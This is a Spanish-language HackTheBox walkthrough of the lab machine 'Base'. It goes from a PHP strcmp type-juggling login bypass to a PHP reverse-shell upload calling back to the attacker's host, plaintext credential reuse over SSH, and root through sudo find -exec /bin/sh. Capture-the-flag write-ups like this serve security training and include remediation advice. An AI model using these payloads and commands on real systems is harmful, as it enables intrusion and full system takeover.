// 01
Resumen
Base es una máquina de dificultad fácil de la plataforma HackTheBox que simula un servidor de almacenamiento de archivos expuesto en producción. El objetivo de la máquina es practicar la identificación de malas configuraciones web, la explotación de PHP Type Juggling para evadir autenticación, la carga de shells PHP maliciosas para obtener ejecución remota de código (RCE), la extracción de credenciales en texto plano desde archivos de configuración, y la escalada de privilegios mediante un binario sudo mal configurado.
El servidor expone dos servicios: SSH (puerto 22) con
OpenSSH 7.6p1 y un servidor web HTTP (puerto 80) con
Apache 2.4.29 sobre Ubuntu. Al enumerar el servidor web encontramos un directorio
/login con
directory listing habilitado, lo que expone un archivo swap
login.php.swp
que revela el código fuente del login. Analizando el código se detecta un error de
comparación con strcmp() que permite el bypass de
autenticación enviando el parámetro password como array vacío.
Una vez autenticados como administrador, accedemos a un panel de carga de archivos. Al no
existir validación del tipo de archivo en el servidor, subimos una
webshell PHP que nos entrega una reverse shell como el
usuario www-data. Desde esa shell navegamos al directorio
/login y leemos
config.php, que
contiene la contraseña en texto plano del usuario john. Con esas
credenciales ingresamos por SSH y escalamos a root abusando
del permiso sudo
sobre el binario /usr/bin/find,
tal como lo documenta GTFOBins.
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Reconocimiento | nmap -p- -sSCV -n -Pn --min-rate=5000 --open -oX | Puertos 22 (SSH) y 80 (HTTP) abiertos · Apache 2.4.29 |
| Reporte visual | xsltproc base.xml → base.html | Reporte HTML del escaneo Nmap |
| Enum. Web | gobuster dir -u http://10.129.5.82 -w big.txt -x php | Directorios: /login, /forms, /_uploaded, upload.php |
| Dir. Listing | Acceso a http://10.129.5.82/login/ | login.php.swp expuesto → código fuente del login |
| Auth Bypass | Burp Suite → password[]= (array vacío) | PHP strcmp() devuelve 0 → autenticación eludida |
| File Upload | Subida de xp.php (reverse shell) | Archivo accesible en /_uploaded/xp.php |
| RCE | nc -lvnp 443 → acceso a /_uploaded/xp.php | Shell como www-data |
| Creds | cat /var/www/html/login/config.php | admin:thisisagoodpassword · usuario john |
| Acceso SSH | ssh john@10.129.5.82 | Shell como john · user.txt obtenido |
| Privesc | sudo -l → (root:root) /usr/bin/find | find con sudo → shell como root |
| Root | sudo /usr/bin/find . -exec /bin/sh \; -quit | root.txt obtenido |
// 02
Reconocimiento
El primer paso siempre es conocer qué servicios están expuestos en la máquina objetivo. Usamos nmap con un escaneo agresivo: barremos todos los 65535 puertos TCP con SYN scan sigiloso (-sS), detección de versiones y scripts de enumeración (-sCV), sin resolución DNS (-n) ni ping previo (-Pn) y con una tasa mínima de 5000 paquetes por segundo para acelerar el proceso. Guardamos el resultado en formato XML (-oX) para convertirlo después en un reporte HTML visual con xsltproc.
// RESULTADO DEL ESCANEO
Se detectan dos puertos abiertos: el puerto 22 con OpenSSH 7.6p1 sobre Ubuntu y el puerto 80 con Apache 2.4.29. El título HTTP es "Welcome to Base", lo que confirma que el sitio web está activo. Comenzamos investigando el puerto 80.
Nmap permite exportar sus resultados a XML. Usando la hoja de estilo XSL incluida con nmap (xsltproc) podemos convertir ese XML en un reporte HTML visual con colores, tablas y mejor legibilidad. Esto es útil para documentar el reconocimiento de forma profesional y revisar la información de puertos, versiones y scripts de forma organizada en el navegador.
// ¿POR QUÉ EXPORTAR A XML?
El formato XML de nmap es procesable por herramientas externas. Con xsltproc obtenemos un HTML navegable, mientras que otras herramientas como nmaptocsv o Metasploit pueden importar directamente el XML para correlacionar vulnerabilidades con los servicios descubiertos.
// 03
Enumeración Web
Al acceder a http://10.129.5.82 encontramos una página de presentación de un servicio de hosting de archivos llamado "Base". La página tiene secciones de marketing: Cloud Storage, Supporting All Files, Maximizing Availability y Always Protecting. También vemos un menú con un botón de Login. Sin embargo, no hay información sensible visible en la superficie, así que procedemos a enumerar directorios y archivos ocultos.
Gobuster es una herramienta de fuerza bruta para descubrimiento de directorios y archivos web. Usa un wordlist (lista de palabras) y prueba cada entrada como ruta del servidor, registrando los códigos de respuesta HTTP. Usamos el wordlist big.txt de dirb, que contiene miles de nombres comunes de directorios y archivos, y añadimos la extensión php para descubrir también archivos PHP. Esto nos permite mapear la superficie de ataque del servidor.
// HALLAZGOS CLAVE
Encontramos varios directorios y archivos interesantes: /login (panel de autenticación), /_uploaded (directorio donde se guardan los archivos subidos), upload.php (redirige al login → confirma que hay funcionalidad de carga de archivos) y logout.php. El directorio /login es el vector de entrada principal.
// 04
Directory Listing → Código Fuente Expuesto
Al navegar a http://10.129.5.82/login/ encontramos que
Apache tiene el directory listing habilitado: en lugar de mostrar
un error 403 o redirigir, Apache nos muestra el listado completo de archivos
del directorio. Esto ocurre porque no existe un archivo index
en esa carpeta y la opción Options +Indexes
está habilitada en la configuración de Apache. Es una mala configuración gravísima en producción.
Los archivos listados son: config.php,
login.php y un archivo que nos llama especialmente la
atención: login.php.swp. Este es un
archivo swap de Vim — un archivo temporal que Vim genera automáticamente
cuando se está editando un archivo. Contiene una copia del código fuente
del archivo en edición, en este caso, del propio login.php.
// ARCHIVO SWAP DE VIM
Cuando Vim edita un archivo, crea automáticamente un archivo swap con extensión .swp en el mismo directorio. Si el editor se cierra inesperadamente (crash, cierre de sesión SSH), el swap no se elimina y queda en disco. En un servidor web con directory listing habilitado, cualquier visitante puede descargarlo y recuperar el código fuente del archivo original. Para recuperar el contenido: vim -r login.php.swp o simplemente strings login.php.swp.
Descargamos el archivo swap y recuperamos el código fuente del login. La parte crítica es la función de autenticación, que usa strcmp() para comparar la contraseña enviada con la almacenada:
// VULNERABILIDAD: PHP TYPE JUGGLING CON STRCMP()
La función strcmp($a, $b) retorna 0 cuando los strings son iguales, un número negativo si $a < $b, y positivo si $a > $b. El problema: en PHP, cuando se pasa un array en lugar de un string a strcmp(), la función retorna NULL. Y NULL comparado con == 0 es TRUE en PHP (comparación loose). Enviando password[]= (array vacío), strcmp() retorna NULL, NULL == 0 es TRUE, y el login se acepta sin verificar la contraseña real.
// 05
Auth Bypass — PHP Type Juggling
Sabiendo que la vulnerabilidad está en el uso de strcmp()
con comparación laxa, necesitamos interceptar la petición HTTP del
formulario de login y modificar el parámetro password
para convertirlo en un array. Usamos Burp Suite como
proxy interceptor: configuramos el navegador para que pase todo el tráfico HTTP a través
de Burp, activamos el interceptor, y enviamos el formulario con cualquier credencial.
Burp captura la petición POST antes de que llegue al servidor. Podemos editarla y
reenviarla (Forward). El truco es cambiar el parámetro de
password=cualquier_cosa
a password[]=,
que es la sintaxis PHP para enviar un array vacío en un formulario. Con el usuario
admin y este array como contraseña, el strcmp()
retornará NULL y el login nos dará acceso.
// RESULTADO DEL BYPASS
Al enviar la petición modificada, el servidor responde con una redirección a /upload.php y nos establece una sesión autenticada como administrador. Accedemos al panel Admin File Uploads donde podemos subir archivos al servidor sin restricciones visibles.
// 06
File Upload — Webshell PHP
Una vez dentro del panel de administración, vemos que podemos subir archivos al servidor. El servidor corre PHP (confirmado por los archivos .php encontrados con Gobuster), lo que significa que si logramos subir un archivo .php malicioso, el servidor lo ejecutará cuando lo solicitemos. A esto se le llama Remote Code Execution (RCE) mediante File Upload.
Creamos un archivo PHP de una línea que ejecuta una
bash reverse shell: cuando el servidor la ejecute,
establecerá una conexión TCP de vuelta a nuestra máquina (10.10.16.5)
en el puerto 443 (usamos 443 porque es HTTPS, puerto que raramente
está bloqueado por firewalls de salida). El comando bash -i
inicia bash en modo interactivo, y >& /dev/tcp/IP/PORT 0>&1
redirige stdin/stdout/stderr a través de la conexión TCP.
Subimos el archivo xp.php a través del panel de administración. El servidor no valida el tipo de archivo ni la extensión: acepta cualquier archivo, incluyendo scripts PHP ejecutables. Una vez subido, verificamos que aparezca en el directorio /_uploaded (que también tiene directory listing habilitado, exponiéndonos el contenido del directorio):
// ¿POR QUÉ FUNCIONA EL UPLOAD?
El panel de upload no implementa ninguna validación del tipo MIME real ni de la extensión del archivo. Solo verifica si el campo de formulario tiene contenido. Esto permite subir cualquier archivo, incluyendo scripts PHP. La segunda mala configuración: Apache sirve el directorio _uploaded con permisos de ejecución de PHP, por lo que al hacer GET al archivo .php, el servidor lo ejecuta en lugar de descargarlo.
// 07
Reverse Shell — Acceso Inicial como www-data
Antes de acceder al archivo PHP subido, necesitamos tener un
listener activo en nuestra máquina. Usamos netcat
(nc) en modo escucha
sobre el puerto 443. Cuando el servidor ejecute nuestro script PHP,
intentará conectarse a nuestra IP en ese puerto; si el listener está activo, la conexión
se establece y obtenemos la shell.
Con el listener activo, accedemos desde el navegador a http://10.129.5.82/_uploaded/xp.php. El servidor ejecuta el script PHP, que a su vez ejecuta la instrucción bash que redirige la conexión a nuestra máquina. El listener recibe la conexión:
// SHELL COMO WWW-DATA
Tenemos ejecución de código en el servidor como el usuario www-data, que es el usuario con el que Apache sirve contenido web en Ubuntu. Este usuario tiene acceso de lectura a los archivos del servidor web, lo cual es suficiente para leer el archivo config.php que contiene las credenciales.
// 08
Credenciales en Texto Plano → SSH como John
Desde nuestra shell como www-data, navegamos al directorio
/var/www/html/login donde encontramos los archivos del
panel de login. El archivo config.php es el que incluye
el login con las credenciales de la base de datos de usuarios. Hacemos
cat config.php
para leer su contenido:
Las credenciales están almacenadas en texto plano sin ningún tipo
de hash ni cifrado. Ahora navegamos al directorio /home
para identificar los usuarios del sistema y comprobamos si estas credenciales funcionan
para alguno de ellos por SSH (reutilización de contraseñas):
Existe un usuario john con su directorio home. Intentamos conectarnos por SSH usando como contraseña la que encontramos en config.php. La reutilización de contraseñas es un error común: los desarrolladores usan la misma contraseña para el sistema y para las credenciales hardcodeadas en la aplicación.
// 09
Escalada de Privilegios — sudo /usr/bin/find
El primer paso en cualquier escalada de privilegios en Linux es revisar qué comandos
puede ejecutar el usuario actual con sudo sin necesitar
contraseña de root. Lo hacemos con sudo -l.
Este comando consulta el archivo /etc/sudoers
y lista los permisos configurados para el usuario actual.
// MISCONFIGURACION CRÍTICA
El usuario john puede ejecutar /usr/bin/find como root mediante sudo. find tiene la capacidad de ejecutar comandos arbitrarios con la flag -exec, lo que significa que al correrlo con sudo, podemos ejecutar cualquier comando como root. GTFOBins documenta exactamente cómo abusar de esto.
GTFOBins (gtfobins.github.io) es un repositorio de
referencia que documenta cómo binarios Unix estándar pueden ser abusados para escalar
privilegios. Para find
con sudo, el comando es simple: usamos -exec
para ejecutar /bin/sh
y -quit para
que find se detenga después del primer resultado (para que no busque más archivos).
Como sudo ejecuta find como root, la shell que abrimos también es root.
// 10
Referencia de Comandos
- -p- · escanea los 65535 puertos TCP
- -sS · SYN scan (sigiloso, no completa el 3-way handshake)
- -sC · ejecuta scripts NSE predeterminados (default scripts)
- -sV · detección de versiones de servicios
- -n · sin resolución DNS (más rápido)
- -Pn · sin ping previo (asume host activo)
- --min-rate=5000 · mínimo 5000 paquetes/segundo
- --open · muestra solo puertos abiertos
- -oX · exporta resultado en formato XML
- archivo.xml · el XML exportado por nmap
- -o · archivo de salida (output)
- reporte.html · nombre del HTML resultante
- dir · modo de enumeración de directorios
- -u · URL objetivo
- -w · wordlist (lista de palabras a probar)
- -t · número de threads paralelos
- -x · extensiones adicionales a probar (ej: php, txt, bak)
- archivo · el archivo a analizar (binario o swap)
- -n <N> · longitud mínima de cadena a mostrar (por defecto 4)
- -a · escanea todo el archivo, no solo secciones de datos
- -l · modo listen (escucha conexiones entrantes)
- -v · verbose (muestra información de conexión)
- -n · sin resolución DNS
- -p · especifica el puerto a escuchar
- sudo · ejecuta el siguiente comando como root
- . · busca en el directorio actual
- -exec · ejecuta el comando por cada resultado encontrado
- /bin/sh · shell que se lanza como root
- \; · termina el bloque -exec
- -quit · detiene find tras el primer resultado (evita loops)
// 11
Glosario
== (comparación laxa): en PHP, NULL == 0 es TRUE. Por tanto, si el formulario envía password[]= (un array vacío), strcmp() retorna NULL, NULL == 0 es TRUE, y la condición del login se cumple sin conocer la contraseña real. La solución es usar === (comparación estricta de tipo y valor) o hash_equals().Options +Indexes está habilitada o no se ha deshabilitado con Options -Indexes. Expone toda la estructura de archivos del servidor al visitante, incluyendo archivos de configuración, backups, archivos swap y otros archivos sensibles. En producción nunca debe estar habilitado. Se desactiva añadiendo Options -Indexes en la configuración de Apache o en .htaccess..swp (ej: login.php.swp) en el mismo directorio. Este archivo se usa como buffer temporal para recuperar cambios no guardados si el editor se cierra inesperadamente (crash, cierre de sesión SSH, corte de conexión). El swap contiene una copia del contenido del archivo en edición. Si el servidor tiene directory listing habilitado y el desarrollador editó archivos directamente en el servidor, estos swaps quedan accesibles públicamente y revelan el código fuente original. Se pueden leer con vim -r archivo.swp o strings archivo.swp..php subido será ejecutado por el servidor cuando se realice una petición HTTP al archivo. Una reverse shell PHP es un script que, al ejecutarse en el servidor, establece una conexión TCP de vuelta al atacante entregando control total del sistema. La validación correcta incluye: verificar el tipo MIME real del archivo (no la extensión), usar una lista blanca de extensiones permitidas, almacenar archivos subidos fuera del webroot o en un directorio sin permisos de ejecución PHP./dev/tcp/IP/PUERTO es una función especial de Bash que abre un socket TCP hacia la IP y puerto especificados. Combinado con bash -i (bash interactivo) y la redirección >& ... 0>&1 (redirigir stdout/stderr y stdin al socket), obtenemos una shell completa a través de la conexión TCP. El atacante escucha con netcat (nc -lvnp PUERTO) y recibe la conexión./etc/sudoers: se especifica qué usuarios pueden ejecutar qué comandos como qué usuarios. sudo -l lista los permisos del usuario actual. El peligro surge cuando se concede permiso sudo sobre binarios que pueden ejecutar código arbitrario (como find, python, vim, less, etc.): el atacante puede usar esa capacidad para lanzar una shell como root. GTFOBins documenta estos vectores.find con sudo, el abuso es directo: find -exec /bin/sh \; -quit lanza una shell con los privilegios con que se ejecutó find. Para cada binario, documenta los casos aplicables (SUID, sudo, capabilities) con el comando exacto. Es la referencia definitiva para post-explotación en Linux.config.php.thisisagoodpassword en config.php) era la misma que la del usuario de sistema john. Esto permite que un atacante que compromete un sistema (obteniendo credenciales de la web) escale lateralmente a otros sistemas o cuentas sin necesitar ningún exploit adicional. La práctica correcta es usar contraseñas únicas y aleatorias para cada servicio, idealmente gestionadas con un gestor de contraseñas.